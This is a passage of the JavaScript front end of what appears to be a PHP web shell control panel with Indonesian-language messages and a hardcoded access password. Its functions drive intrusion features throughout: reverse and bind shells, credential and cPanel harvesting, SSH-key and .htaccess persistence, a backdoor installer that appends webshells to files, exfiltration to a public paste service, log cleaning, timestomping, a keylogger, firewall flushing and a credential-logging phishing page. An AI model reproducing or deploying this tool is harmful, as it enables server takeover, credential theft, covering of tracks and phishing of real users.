 		saveDbCredentials(creds) { localStorage.setItem('db_creds', JSON.stringify(creds)); },
 		loadDbCredentials(){ const creds = localStorage.getItem('db_creds'); if (creds) { try { const { db_host, db_user, db_pass, db_name } = JSON.parse(creds); const dbHost = document.getElementById('db-host'); const dbUser = document.getElementById('db-user'); const dbPass = document.getElementById('db-pass'); const dbName = document.getElementById('db-name'); if (dbHost) dbHost.value = db_host || ''; if (dbUser) dbUser.value = db_user || ''; if (dbPass) dbPass.value = db_pass || ''; if (dbName) dbName.value = db_name || ''; } catch(e) { console.error('Error loading DB credentials:', e); } } },
		async connectReverseShell() { const ip = document.getElementById('rev-shell-ip').value, port = document.getElementById('rev-shell-port').value; if(ip && port) { this.toast(`Attempting to connect to ${ip}:${port}...`); const res = await this.api('reverse_shell', { ip, port }); if (res) this.toast(res.message, res.status); } else { this.toast('IP and Port are required.', 'error'); } },
		async connectBindShell() { const port = document.getElementById('bind-shell-port').value; if(port) { this.toast(`Attempting to listen on port ${port}...`); const res = await this.api('bind_shell', { port }); if (res) this.toast(res.message, res.status); } else { this.toast('Port is required.', 'error'); } },
		async searchFiles() {
			const path = document.getElementById('search-path').value, pattern = document.getElementById('search-pattern').value, outputEl = document.getElementById('search-results-output');
			if (!path || !pattern) return this.toast('Path and pattern are required.', 'error');
			outputEl.innerText = 'Searching...'; const res = await this.api('search_files', { path, pattern }); if(res) outputEl.innerHTML = res.data;
		},
		async loadCron() { const res = await this.api('get_cron'); if (res && res.status === 'success') { document.getElementById('cron-user').innerText = this.user; const contentEl = document.getElementById('cron-content'); contentEl.value = res.content; contentEl.readOnly = !res.writable; document.getElementById('save-cron-btn').disabled = !res.writable; if(!res.writable) this.toast('Crontab is not writable.', 'error'); } },
		async saveCron() { const content = document.getElementById('cron-content').value; const res = await this.api('save_cron', { content }); if (res && res.status === 'success') { this.toast(res.message); } },
		async getUsersAndGroups() {
			const res = await this.api('get_users_groups'); const container = document.getElementById('users-groups-output');
			if (res && res.status === 'success') {
				let usersHtml = '<h3>Users (/etc/passwd)</h3><table class="results-table"><thead><tr><th>Name</th><th>UID</th><th>GID</th><th>Home</th><th>Shell</th></tr></thead><tbody>';
				res.users.forEach(u => usersHtml += `<tr><td>${u.name}</td><td>${u.uid}</td><td>${u.gid}</td><td>${u.home}</td><td>${u.shell}</td></tr>`);
				usersHtml += '</tbody></table>';
				let groupsHtml = '<h3>Groups (/etc/group)</h3><table class="results-table"><thead><tr><th>Name</th><th>GID</th><th>Members</th></tr></thead><tbody>';
				res.groups.forEach(g => groupsHtml += `<tr><td>${g.name}</td><td>${g.gid}</td><td>${g.members}</td></tr>`);
				groupsHtml += '</tbody></table>';
				container.innerHTML = usersHtml + groupsHtml;
			} else { container.innerHTML = '<p>Failed to load data.</p>'; }
		},
		async getKernelInfo() {
			const res = await this.api('get_kernel_info');
			if (res && res.status === 'success') { this.kernelInfo = res; const outputEl = document.getElementById('kernel-info-output'); let linksHtml = ''; if (res.distro && res.kernel) { const searchTerms = [...new Set([res.distro, res.kernel])]; const exploitRes = await this.api('exploit_suggester', { distro: res.distro, kernel: res.kernel }); if (exploitRes && exploitRes.status === 'success') { linksHtml = '<h4>Exploit-DB Search Links:</h4><ul>'; for(const term in exploitRes.links) { linksHtml += `<li><a href="${exploitRes.links[term]}" target="_blank" style="color:var(--accent-blue);">${term}</a></li>`; } linksHtml += '</ul>'; } } outputEl.innerHTML = `<p><strong>Distro:</strong> ${res.distro}<br><strong>Kernel:</strong> ${res.kernel}<br><strong>Uname:</strong> ${res.uname}</p>${linksHtml}`; }
		},
		async searchContent() {
			const path = document.getElementById('content-search-path').value, content_pattern = document.getElementById('content-search-pattern').value, file_pattern = document.getElementById('content-search-file-pattern').value, outputEl = document.getElementById('content-search-output');
			if (!path || !content_pattern) return this.toast('Path and Content Pattern are required.', 'error');
			outputEl.innerText = 'Searching...'; const res = await this.api('search_content', { path, content_pattern, file_pattern }); if(res) outputEl.innerHTML = res.data;
		},
		async getConfigs() {
			const outputEl = document.getElementById('configs-output'); outputEl.innerHTML = '<p>Searching for config files...</p>';
			const res = await this.api('get_configs'); if (res && res.status === 'success') { let html = ''; if (Object.keys(res.configs).length > 0) { for (const path in res.configs) { html += `<div class="config-found"><div class="config-found-header">${path}</div><div class="config-found-body">${res.configs[path]}</div></div>`; } } else { html = '<p>No common configuration files found.</p>'; } outputEl.innerHTML = html; }
		},
		async injectCode() {
			const path = document.getElementById('inject-path').value, code = document.getElementById('inject-code').value, position = document.getElementById('inject-position').value;
			if (!path || !code) return this.toast('File path and code are required.', 'error'); const confirmed = await this.showConfirmModal(`This will modify <strong>${path.split('/').pop()}</strong>. Are you sure?`, { type: 'warning' }); if(confirmed) { const res = await this.api('inject_code', { path, code, position }); if (res) this.toast(res.message, res.status); }
		},
		async cleanLog() { const log_file = document.getElementById('log-cleaner-file').value, keyword = document.getElementById('log-cleaner-keyword').value; if (!log_file || !keyword) return this.toast('Log file and keyword are required.', 'error'); const confirmed = await this.showConfirmModal(`This will permanently remove lines containing <strong>"${keyword}"</strong> from <strong>"${log_file}"</strong>.<br><br>This action cannot be undone. Proceed?`, { type: 'danger', okText: 'Proceed', cancelText: 'Cancel' }); if(confirmed) { const res = await this.api('log_cleaner', { log_file, keyword }); if(res) this.toast(res.message, res.status); } },
		async updateLiveStats() {
			const res = await this.api('get_live_stats');
			if (res && res.status === 'success') {
				const { cpu, ram, disk } = res;
				const update = (el, val) => { const element = document.getElementById(el); if (element) element.innerText = val; };
				const updateBar = (el, val) => { const element = document.getElementById(el); if (element) element.style.width = `${val}%`; };
				if (cpu.used_percent > -1) { update('cpu-percent', `${cpu.used_percent}%`); updateBar('cpu-bar', cpu.used_percent); } else { update('cpu-percent', 'N/A'); updateBar('cpu-bar', 0); }
				if (ram.total > 0) { const ram_percent = (ram.used / ram.total * 100).toFixed(2); update('ram-percent', `${ram_percent}%`); updateBar('ram-bar', ram_percent); update('ram-details', `${this.formatBytes(ram.used)} / ${this.formatBytes(ram.total)}`); } else { update('ram-percent', 'N/A'); updateBar('ram-bar', 0); update('ram-details', '-- / --'); }
				if (disk.total > 0) { const disk_percent = (disk.used / disk.total * 100).toFixed(2); update('disk-percent', `${disk_percent}%`); updateBar('disk-bar', disk_percent); update('disk-details', `${this.formatBytes(disk.used)} / ${this.formatBytes(disk.total)}`); } else { update('disk-percent', 'N/A'); updateBar('disk-bar', 0); update('disk-details', '-- / --'); }
			}
		},
        renderSysInfo(info) {
            const container = document.getElementById('sys-info-container');
            if (!container || !info) return;
            container.innerHTML = Object.entries(info).map(([k, v]) => {
                // Check if the key is 'Github Link' to allow HTML, otherwise escape it for security
                const value = (k === 'Github Link') ? v : String(v || '').replace(/</g, "&lt;").replace(/>/g, "&gt;");
                return `<span>${k}:</span><span>${value}</span>`;
            }).join('');
        },
        updateSystemInfoHeader(context) {
            const sysinfo = context.sysinfo || {};
            const update = (id, val) => {
                const el = document.getElementById(id);
                if (el) el.textContent = val || '--';
            };
            
            // Uname
            const uname = sysinfo['Uname'] || sysinfo['OS'] || sysinfo['Operating System'] || sysinfo['uname'] || '--';
            update('sys-uname', uname);
            
            // User and Group
            const user = context.user || sysinfo['User'] || '--';
            const group = sysinfo['Group'] || '--';
            update('sys-user', user);
            update('sys-group', group);
            
            // PHP Safe Mode
            const phpSafe = sysinfo['Safe Mode'] || 'OFF';
            const phpSafeEl = document.getElementById('sys-php-safe');
            if (phpSafeEl) {
                phpSafeEl.textContent = `Safe Mode: ${phpSafe}`;
                phpSafeEl.style.color = phpSafe === 'OFF' ? 'var(--accent-green)' : 'var(--accent-red)';
            }
            
            // Server IP
            const serverIP = sysinfo['Server IP'] || sysinfo['ServerIP'] || context.hostname || '--';
            update('sys-serverip', serverIP);
            
            // DateTime
            const now = new Date();
            const datetime = now.toLocaleString();
            update('sys-datetime', datetime);
            
            // HDD
            const hdd = sysinfo['Disk'] || sysinfo['HDD'] || '--';
            update('sys-hdd', hdd);
            
            // Open_basedir
            const basedir = sysinfo['Open BaseDir'] || sysinfo['open_basedir'] || 'NONE';
            const basedirEl = document.getElementById('sys-basedir');
            if (basedirEl) {
                basedirEl.textContent = basedir;
                basedirEl.style.color = basedir === 'NONE' || basedir === '' ? 'var(--accent-green)' : 'var(--accent-red)';
            }
            
            // PWD
            update('sys-pwd', context.cwd || '--');
            
            // Update datetime every second
            setInterval(() => {
                const now = new Date();
                update('sys-datetime', now.toLocaleString());
            }, 1000);
        },
        formatBytes(bytes, decimals = 2) { if (bytes === 0) return '0 Bytes'; const k = 1024, dm = decimals < 0 ? 0 : decimals, sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i]; },
		toast(message, type = 'success', duration = 4000) { const el = document.getElementById('toast'); el.textContent = message; el.className = `toast show ${type}`; setTimeout(() => el.className = el.className.replace('show', ''), duration); },
		showModal(modal) { modal.style.display = 'flex'; },
		closeModal(modal) { modal.style.display = 'none'; if(modal.id === 'editor-modal' && this.editor) this.editor.setValue(''); },
		
		// Custom confirmation modal - prevents double popup
		async showConfirmModal(message, options = {}) {
			return new Promise((resolve) => {
				const modal = document.getElementById('confirm-modal');
				const messageEl = document.getElementById('confirm-message');
				const titleEl = document.getElementById('confirm-title');
				const iconEl = document.getElementById('confirm-icon');
				const okBtn = document.getElementById('confirm-ok-btn');
				const cancelBtn = document.getElementById('confirm-cancel-btn');
				const closeBtn = document.getElementById('confirm-modal-close');
				
				if (!modal || !messageEl) return resolve(false);
				
				// Set message
				messageEl.innerHTML = message.replace(/\n/g, '<br>');
				
				// Set title and icon based on type
				const type = options.type || 'warning';
				const icons = {
					warning: '⚠️',
					danger: '🗑️',
					info: 'ℹ️',
					question: '❓',
					success: '✅'
				};
				const titles = {
					warning: '⚠️ Confirmation',
					danger: '🗑️ Delete Confirmation',
					info: 'ℹ️ Information',
					question: '❓ Confirm Action',
					success: '✅ Success'
				};
				
				iconEl.textContent = icons[type] || icons.warning;
				titleEl.textContent = titles[type] || titles.warning;
				
				// Set button text
				okBtn.textContent = options.okText || 'OK';
				cancelBtn.textContent = options.cancelText || 'Cancel';
				
				// Set button style for danger actions
				if (type === 'danger') {
					okBtn.className = 'confirm-btn-ok confirm-btn-danger';
				} else {
					okBtn.className = 'confirm-btn-ok';
				}
				
				// Remove old event listeners by cloning and replacing
				const newOkBtn = okBtn.cloneNode(true);
				const newCancelBtn = cancelBtn.cloneNode(true);
				const newCloseBtn = closeBtn.cloneNode(true);
				okBtn.parentNode.replaceChild(newOkBtn, okBtn);
				cancelBtn.parentNode.replaceChild(newCancelBtn, cancelBtn);
				closeBtn.parentNode.replaceChild(newCloseBtn, closeBtn);
				
				// Store references for cleanup
				const handleResolve = (value) => {
					this.closeModal(modal);
					document.removeEventListener('keydown', escHandler);
					resolve(value);
				};
				
				// Handle ESC key
				const escHandler = (e) => {
					if (e.key === 'Escape') {
						handleResolve(false);
					}
				};
				
				// Add new event listeners (only once)
				newOkBtn.onclick = () => handleResolve(true);
				newCancelBtn.onclick = () => handleResolve(false);
				newCloseBtn.onclick = () => handleResolve(false);
				
				// Close on backdrop click (replace old handler)
				const backdropHandler = (e) => {
					if (e.target === modal) {
						handleResolve(false);
					}
				};
				modal.onclick = backdropHandler;
				
				// Add ESC key listener
				document.addEventListener('keydown', escHandler);
				
				// Show modal
				this.showModal(modal);
				
				// Focus on OK button
				setTimeout(() => newOkBtn.focus(), 100);
			});
		},
		// Custom input modal - replaces prompt()
		async showInputModal(message, defaultValue = '', options = {}) {
			return new Promise((resolve) => {
				const modal = document.getElementById('input-modal');
				const inputField = document.getElementById('input-field');
				const labelEl = document.getElementById('input-label');
				const titleEl = document.getElementById('input-title');
				const iconEl = document.getElementById('input-icon');
				const okBtn = document.getElementById('input-ok-btn');
				const cancelBtn = document.getElementById('input-cancel-btn');
				const closeBtn = document.getElementById('input-modal-close');
				const errorEl = document.getElementById('input-error');
				
				if (!modal || !inputField) return resolve(null);
				
				// Set label and title
				labelEl.textContent = message || 'Enter value:';
				titleEl.textContent = options.title || '📝 Input Required';
				iconEl.textContent = options.icon || '📝';
				
				// Set default value
				inputField.value = defaultValue;
				inputField.type = options.type || 'text';
				inputField.placeholder = options.placeholder || 'Type here...';
				
				// Clear error
				errorEl.textContent = '';
				errorEl.classList.remove('show');
				inputField.style.borderColor = 'var(--border-color)';
				
				// Remove old event listeners by cloning and replacing
				const newOkBtn = okBtn.cloneNode(true);
				const newCancelBtn = cancelBtn.cloneNode(true);
				const newCloseBtn = closeBtn.cloneNode(true);
				okBtn.parentNode.replaceChild(newOkBtn, okBtn);
				cancelBtn.parentNode.replaceChild(newCancelBtn, cancelBtn);
				closeBtn.parentNode.replaceChild(newCloseBtn, closeBtn);
				
				// Store references for cleanup
				const handleResolve = (value) => {
					this.closeModal(modal);
					document.removeEventListener('keydown', escHandler);
					document.removeEventListener('keydown', enterHandler);
					resolve(value);
				};
				
				// Handle ESC key
				const escHandler = (e) => {
					if (e.key === 'Escape') {
						handleResolve(null);
					}
				};
				
				// Handle Enter key
				const enterHandler = (e) => {
					if (e.key === 'Enter' && e.target === inputField) {
						e.preventDefault();
						const value = inputField.value.trim();
						if (options.required && !value) {
							errorEl.textContent = 'This field is required';
							errorEl.classList.add('show');
							inputField.style.borderColor = 'var(--accent-red)';
							inputField.focus();
							return;
						}
						if (options.validator && !options.validator(value)) {
							errorEl.textContent = options.validatorError || 'Invalid value';
							errorEl.classList.add('show');
							inputField.style.borderColor = 'var(--accent-red)';
							inputField.focus();
							return;
						}
						handleResolve(value || null);
					}
				};
				
				// Add new event listeners
				newOkBtn.onclick = () => {
					const value = inputField.value.trim();
					if (options.required && !value) {
						errorEl.textContent = 'This field is required';
						errorEl.classList.add('show');
						inputField.style.borderColor = 'var(--accent-red)';
						inputField.focus();
						return;
					}
					if (options.validator && !options.validator(value)) {
						errorEl.textContent = options.validatorError || 'Invalid value';
						errorEl.classList.add('show');
						inputField.style.borderColor = 'var(--accent-red)';
						inputField.focus();
						return;
					}
					handleResolve(value || null);
				};
				newCancelBtn.onclick = () => handleResolve(null);
				newCloseBtn.onclick = () => handleResolve(null);
				
				// Close on backdrop click
				const backdropHandler = (e) => {
					if (e.target === modal) {
						handleResolve(null);
					}
				};
				modal.onclick = backdropHandler;
				
				// Add key listeners
				document.addEventListener('keydown', escHandler);
				document.addEventListener('keydown', enterHandler);
				
				// Show modal
				this.showModal(modal);
				
				// Focus on input field and select text if default value
				setTimeout(() => {
					inputField.focus();
					if (defaultValue) {
						inputField.select();
					}
				}, 100);
			});
		},
		showPasswordModal(callback) {
			const modal = document.getElementById('password-modal');
			const passwordInput = document.getElementById('password-input');
			const passwordError = document.getElementById('password-error');
			const submitBtn = document.getElementById('password-submit-btn');
			const cancelBtn = document.getElementById('password-cancel-btn');
			const closeBtn = document.getElementById('password-modal-close');
			const copyBtn = document.getElementById('copy-password-btn');
			const correctPassword = 'hackerterlarang';
			
			// Reset modal state
			passwordInput.value = '';
			passwordError.textContent = '';
			passwordError.classList.remove('show');
			passwordInput.style.borderColor = 'var(--border-color)';
			
			// Show modal
			this.showModal(modal);
			passwordInput.focus();
			
			// Copy password function
			const copyPassword = () => {
				navigator.clipboard.writeText(correctPassword).then(() => {
					copyBtn.textContent = '✅ Copied!';
					setTimeout(() => {
						copyBtn.textContent = '📋';
					}, 2000);
				}).catch(() => {
					// Fallback for older browsers
					const textArea = document.createElement('textarea');
					textArea.value = correctPassword;
					document.body.appendChild(textArea);
					textArea.select();
					document.execCommand('copy');
					document.body.removeChild(textArea);
					copyBtn.textContent = '✅ Copied!';
					setTimeout(() => {
						copyBtn.textContent = '📋';
					}, 2000);
				});
			};
			
			// Validate and submit
			const validateAndSubmit = () => {
				const enteredPassword = passwordInput.value.trim();
				
				if (!enteredPassword) {
					passwordError.textContent = '❌ Password tidak boleh kosong!';
					passwordError.classList.add('show');
					passwordInput.style.borderColor = 'var(--accent-red)';
					passwordInput.focus();
					return;
				}
				
				if (enteredPassword !== correctPassword) {
					passwordError.textContent = '❌ Password salah! Akses ditolak.';
					passwordError.classList.add('show');
					passwordInput.style.borderColor = 'var(--accent-red)';
					passwordInput.value = '';
					passwordInput.focus();
					setTimeout(() => {
						passwordError.classList.remove('show');
					}, 3000);
					return;
				}
				
				// Password correct
				passwordError.textContent = '';
				passwordError.classList.remove('show');
				passwordInput.style.borderColor = 'var(--accent-green)';
				submitBtn.disabled = true;
				submitBtn.textContent = '✅ Verifying...';
				
				setTimeout(() => {
					this.closeModal(modal);
					callback();
				}, 500);
			};
			
			// Event listeners
			const cleanup = () => {
				submitBtn.onclick = null;
				cancelBtn.onclick = null;
				closeBtn.onclick = null;
				copyBtn.onclick = null;
				passwordInput.onkeypress = null;
			};
			
			submitBtn.onclick = validateAndSubmit;
			cancelBtn.onclick = () => {
				cleanup();
				this.closeModal(modal);
				this.toast('Operasi dibatalkan.', 'error');
			};
			closeBtn.onclick = () => {
				cleanup();
				this.closeModal(modal);
				this.toast('Operasi dibatalkan.', 'error');
			};
			copyBtn.onclick = copyPassword;
			
			// Enter key to submit
			passwordInput.onkeypress = (e) => {
				if (e.key === 'Enter') {
					validateAndSubmit();
				}
			};
			
			// Clear error on input
			passwordInput.oninput = () => {
				if (passwordError.classList.contains('show')) {
					passwordError.classList.remove('show');
					passwordInput.style.borderColor = 'var(--border-color)';
				}
			};
		},
		
		async runDomainIntel() {
			this.showPasswordModal(() => {
				this.toast('✅ Password benar. Gathering domain intelligence...');
				this.api('get_domain_intel').then(res => {
			if (res && res.status === 'success') {
				const { host, ip, dns_records, other_sites, found_subdomains } = res.intel;
				document.getElementById('intel-host-name').innerText = host;
				document.getElementById('intel-ip-addr').innerText = ip;
				document.getElementById('intel-dns-output').innerText = dns_records.length > 0 ? JSON.stringify(dns_records, null, 2) : 'No DNS records found.';
				document.getElementById('intel-reverse-ip-output').innerText = other_sites;
				document.getElementById('intel-subdomains-output').innerText = found_subdomains.length > 0 ? found_subdomains.join('\n') : 'No common subdomains found.';
				document.getElementById('domain-intel-results').style.display = 'block';
				this.toast('Intelligence gathering complete.');
					} else { 
						this.toast('Failed to gather domain intelligence.', 'error'); 
					}
				});
			});
		},
		async runSudoCheck() { const outputEl = document.getElementById('sudo-check-output'); outputEl.style.display = 'block'; outputEl.innerText = 'Checking...'; const res = await this.api('sudo_check'); if (res && res.status === 'success') outputEl.innerHTML = res.data; },
		async getUserContext() { const outputEl = document.getElementById('user-context-output'); outputEl.style.display = 'block'; outputEl.innerText = 'Checking...'; const res = await this.api('get_user_context'); if (res && res.status === 'success') outputEl.innerHTML = res.data; },
		async findWritable() {
			const path = document.getElementById('writable-scan-path').value, outputEl = document.getElementById('writable-output'); if (!path) return this.toast('Path is required.', 'error');
			outputEl.innerText = 'Scanning...'; const res = await this.api('find_writable', { path }); if (res && res.status === 'success') outputEl.innerHTML = res.data;
		},
		async getSshKeys() { const res = await this.api('ssh_manager', { sub_action: 'get' }); if (res && res.status === 'success') { document.getElementById('ssh-keys-content').value = res.content; document.getElementById('ssh-auth-keys-path').innerText = res.path; if(!res.writable) this.toast('authorized_keys file or ~/.ssh directory is not writable.', 'error'); document.getElementById('add-ssh-key-btn').disabled = !res.writable; document.getElementById('add-ssh-key-content').disabled = !res.writable; } },
		async addSshKey() { const key = document.getElementById('add-ssh-key-content').value; if(!key) return this.toast('SSH key cannot be empty.', 'error'); const res = await this.api('ssh_manager', { sub_action: 'add', key }); if(res && res.status === 'success') { this.toast(res.message); this.getSshKeys(); document.getElementById('add-ssh-key-content').value = ''; } },
		async applyHtaccessPersist() { const path = document.getElementById('htaccess-path').value, filename = document.getElementById('htaccess-filename').value; if(!path || !filename) return this.toast('Path and Filename are required.', 'error'); const confirmed = await this.showConfirmModal(`This will create or modify .htaccess in <strong>${path}</strong>. Are you sure?`, { type: 'warning' }); if(confirmed) { const res = await this.api('htaccess_persist', { path, filename }); if(res) this.toast(res.message, res.status); } },
		showTimestompModal(path) { const modal = document.getElementById('timestomp-modal'); this.showModal(modal); document.getElementById('timestomp-dest-filename').innerText = path.split('/').pop(); const input = document.getElementById('timestomp-source-input'); input.focus(); document.getElementById('timestomp-save-btn').onclick = async () => { const source = input.value; if (source) { const res = await this.api('timestomp', { dest: path, source }); if (res) { this.toast(res.message, res.status); this.closeModal(modal); this.loadFiles(this.cwd); } } else { this.toast('Source file is required.', 'error'); } }; },
		async runCredHarvester() { const path = document.getElementById('cred-harvester-path').value; if (!path) return this.toast('Start path is required.', 'error'); const outputEl = document.getElementById('cred-harvester-output'); outputEl.innerText = 'Harvesting... This may take a while on large directories.'; this.toast('Starting credential harvester...'); const res = await this.api('cred_harvester', { path }); if (res && res.status === 'success') { outputEl.innerHTML = res.data; this.toast('Harvest complete.'); } },
		async startPortForward() { const listen_port = document.getElementById('pf-listen-port').value, target_host = document.getElementById('pf-target-host').value, target_port = document.getElementById('pf-target-port').value; if(!listen_port || !target_host || !target_port) return this.toast('All fields are required.', 'error'); this.toast(`Starting port forwarder on ${listen_port}...`, 'success'); const res = await this.api('port_forward', { listen_port, target_host, target_port }); if(res) { this.toast(res.message, res.status); } },
		async createWpUser() { const config_path = document.getElementById('wp-config-path').value, new_user = document.getElementById('wp-new-user').value, new_pass = document.getElementById('wp-new-pass').value, new_email = document.getElementById('wp-new-email').value; if(!config_path || !new_user || !new_pass || !new_email) return this.toast('All fields are required.', 'error'); const res = await this.api('create_wp_user', { config_path, new_user, new_pass, new_email }); if (res) this.toast(res.message, res.status); },
		async initCmsCpanelView() { const res = await this.api('get_users_groups'); if (res && res.status === 'success' && res.users) { const select = document.getElementById('symlink-target-user'); select.innerHTML = res.users.filter(u => u.home.startsWith('/home/')).map(u => `<option value="${u.name}">${u.name}</option>`).join(''); } },
		async runSymlink() { const user = document.getElementById('symlink-target-user').value; if (!user) return this.toast('Please select a user.', 'error'); const outputEl = document.getElementById('symlink-results'); outputEl.innerHTML = '<p>Running...</p>'; const res = await this.api('symlink_cpanel', { user }); if (res && res.status === 'success') { if (res.results.length > 0) { let html = '<ul>'; res.results.forEach(item => { html += `<li>${item.target} -> <a href="${item.link_url}" target="_blank" style="color:var(--accent-blue);">${item.link_url}</a></li>`; }); html += '</ul>'; outputEl.innerHTML = html; } else { outputEl.innerHTML = '<p>No common config files could be linked for that user.</p>'; } } },
		async findCpanelCreds() { const outputEl = document.getElementById('cpanel-creds-output'); outputEl.innerText = 'Searching...'; const res = await this.api('find_cpanel_creds'); if (res && res.status === 'success') outputEl.innerHTML = res.data; },
		async runFingerprint() {
			const resultsEl = document.getElementById('fingerprint-results'); resultsEl.style.display = 'block'; resultsEl.innerHTML = '<p>Gathering fingerprint...</p>'; const res = await this.api('get_server_fingerprint'); if (res && res.status === 'success') { let html = ''; for (const [key, value] of Object.entries(res.data)) { html += `<div class="config-found"><div class="config-found-header">${key}</div><div class="config-found-body">${value.replace(/</g, "&lt;").replace(/>/g, "&gt;")}</div></div>`; } resultsEl.innerHTML = html; } else { resultsEl.innerHTML = '<p>Failed to gather fingerprint.</p>'; }
		},
		async runSensitiveScan() {
			const path = document.getElementById('sensitive-scan-path').value; if (!path) return this.toast('Path is required.', 'error'); const resultsEl = document.getElementById('sensitive-scan-results'); resultsEl.style.display = 'block'; resultsEl.innerHTML = '<p>Scanning for sensitive files...</p>'; const res = await this.api('find_sensitive_files', { path }); if (res && res.status === 'success') { let html = ''; for (const [key, value] of Object.entries(res.data)) { html += `<h3>${key}</h3><pre class="output-box">${value}</pre>`; } resultsEl.innerHTML = html; } else { resultsEl.innerHTML = '<p>Scan failed.</p>'; }
		},
		async runMonitor() {
			const path = document.getElementById('monitor-path').value, duration = document.getElementById('monitor-duration').value, outputEl = document.getElementById('monitor-results'); if (!path) return this.toast('Path is required.', 'error');
			outputEl.innerText = `Monitoring ${path} for ${duration} seconds...`; this.toast(`Monitoring for ${duration}s...`);
			const res = await this.api('monitor_changes', { path, duration });
			if (res && res.status === 'success') { const { created, deleted, modified } = res.changes; let html = `<strong>Created:</strong> ${created.length}\n${created.join('\n')}\n\n`; html += `<strong>Deleted:</strong> ${deleted.length}\n${deleted.join('\n')}\n\n`; html += `<strong>Modified:</strong> ${modified.length}\n${modified.join('\n')}`; outputEl.innerText = html; this.toast('Monitoring complete.'); } else { outputEl.innerText = 'Monitoring failed.'; }
		},
		async runBackdoorInstaller() {
			const targets = document.getElementById('backdoor-targets').value; if (!targets) return this.toast('No target files specified.', 'error');
			const confirmed = await this.showConfirmModal('This will append a simple webshell to the specified files. Are you sure?', { type: 'warning' }); if (!confirmed) return;
			const resultsEl = document.getElementById('backdoor-results'); resultsEl.innerHTML = '<p>Infecting...</p>';
			const res = await this.api('backdoor_installer', { targets });
			if (res && res.status === 'success') { let html = '<ul>'; for (const [file, result] of Object.entries(res.results)) { html += `<li>${file}: <span style="color:${result === 'Success' ? 'var(--accent-green)' : 'var(--accent-red)'}">${result}</span></li>`; } html += '</ul>'; resultsEl.innerHTML = html; }
		},
		async runExfil() {
			const selectedItems = Array.from(document.querySelectorAll('#exfil-dir-tree input:checked')).map(cb => cb.value); if (selectedItems.length === 0) return this.toast('Please select at least one file or directory.', 'error');
			const resultsEl = document.getElementById('exfil-results'); resultsEl.innerHTML = '<p>Packaging files...</p>'; this.toast('Creating archive...');
			const res = await this.api('exfil_data', { items: JSON.stringify(selectedItems) });
			if (res && res.status === 'success') { resultsEl.innerHTML = `<p style="color:var(--accent-green);">Archive ready! <a href="${res.download_url}" style="color:var(--accent-blue);">Click here to download.</a></p><p style="color:var(--text-med); font-size: 0.8rem;">Link is valid for one download and will expire.</p>`; } else { resultsEl.innerHTML = '<p style="color:var(--accent-red);">Failed to create archive.</p>'; }
		},
		async exfilViaPaste(path) { const confirmed = await this.showConfirmModal(`This will upload the content of <strong>"${path.split('/').pop()}"</strong> to a public pasting service. Continue?`, { type: 'warning' }); if (!confirmed) return; this.toast(`Exfiltrating ${path.split('/').pop()}...`); const res = await this.api('exfil_paste', { path }); if (res && res.status === 'success') { await this.showInputModal("Exfiltration successful! Paste URL:", res.url, { title: '✅ Exfiltration Complete', icon: '✅', placeholder: 'Paste URL...' }); } },
		async runCpuHog() { const duration = document.getElementById('hog-duration').value; this.toast(`Running CPU hog for ${duration} seconds...`, 'success'); const res = await this.api('cpu_hog', { duration }); if(res) this.toast(res.message, res.status); },
		async runKeylogger() { const pid = document.getElementById('keylogger-pid').value; if(!pid) return this.toast('PID is required.', 'error'); const outputEl = document.getElementById('keylogger-output'); outputEl.innerText = `Attaching to PID ${pid}...`; const res = await this.api('keylogger', { pid }); if(res && res.status === 'success') outputEl.innerHTML = res.data; else if (res) outputEl.innerText = res.message; },
		async runPrivescChecker() { const os = document.getElementById('privesc-os-type').value; const outputEl = document.getElementById('privesc-checker-output'); outputEl.innerText = 'Starting privilege escalation scan... This may take several minutes.'; this.toast('Starting PrivEsc scan...'); const res = await this.api('privesc_checker', { os }); if (res && res.status === 'success') { outputEl.innerHTML = res.data; this.toast('PrivEsc scan complete.'); } },
		async runSubnetScanner() { const subnet = document.getElementById('subnet-scan-target').value; if (!subnet) return this.toast('Subnet is required.', 'error'); const outputEl = document.getElementById('subnet-scan-output'); outputEl.innerText = `Scanning ${subnet}... This could take a while.`; this.toast(`Scanning ${subnet}...`); const res = await this.api('subnet_scanner', { subnet }); if (res && res.status === 'success') { let text = `Scan results for ${subnet}:\n\n`; if (Object.keys(res.results).length > 0) { for (const [ip, ports] of Object.entries(res.results)) { text += `${ip}\tOPEN: ${ports.join(', ')}\n`; } } else { text += 'No live hosts with open ports found.'; } outputEl.innerText = text; this.toast('Subnet scan complete.'); } },
		async viewFirewallRules() { const outputEl = document.getElementById('firewall-output'); outputEl.innerText = 'Fetching firewall rules...'; const res = await this.api('firewall_control', { sub_action: 'get' }); if (res && res.status === 'success') outputEl.innerHTML = res.data; },
		async flushFirewallRules() { const confirmed = await this.showConfirmModal('DANGER: This will attempt to flush all iptables firewall rules. This could expose the server and is a loud action. Are you sure?', { type: 'danger', okText: 'Flush Rules', cancelText: 'Cancel' }); if (confirmed) { const outputEl = document.getElementById('firewall-output'); outputEl.innerText = 'Sending flush command...'; const res = await this.api('firewall_control', { sub_action: 'flush' }); if (res && res.status === 'success') { outputEl.innerHTML = res.data; this.toast('Flush command sent. Check rules again to confirm.'); } } },
		async deployPhishingPage() { const path = document.getElementById('phish-deploy-path').value, filename = document.getElementById('phish-deploy-filename').value, outputEl = document.getElementById('phish-deploy-output'); if (!path || !filename) return this.toast('Path and filename are required.', 'error'); outputEl.innerHTML = '<p>Deploying...</p>'; const res = await this.api('deploy_phish', { path, filename }); if (res && res.status === 'success') { outputEl.innerHTML = `<p style="color:var(--accent-green);">${res.message}<br>URL: <a href="${res.url}" target="_blank" style="color:var(--accent-blue);">${res.url}</a></p><p>Credentials will be logged to <strong>/tmp/c.log</strong> on the server.</p>`; } else { outputEl.innerHTML = `<p style="color:var(--accent-red);">Deployment failed.</p>`; } },
		
		// Notification Center
		notifications: [],
		addNotification(title, message, type = 'info') {
			const notification = { id: Date.now(), title, message, type, time: new Date().toLocaleTimeString() };
			this.notifications.unshift(notification);
			this.updateNotificationBadge();
			this.renderNotifications();
			this.toast(message, type === 'error' ? 'error' : 'success');
		},
		removeNotification(id) {
			this.notifications = this.notifications.filter(n => n.id !== id);
			this.updateNotificationBadge();
			this.renderNotifications();
		},
		clearAllNotifications() {
			this.notifications = [];
			this.updateNotificationBadge();
			this.renderNotifications();
		},
		updateNotificationBadge() {
			const badge = document.getElementById('notification-badge');
			if (badge) {
				const count = this.notifications.length;
				badge.textContent = count;
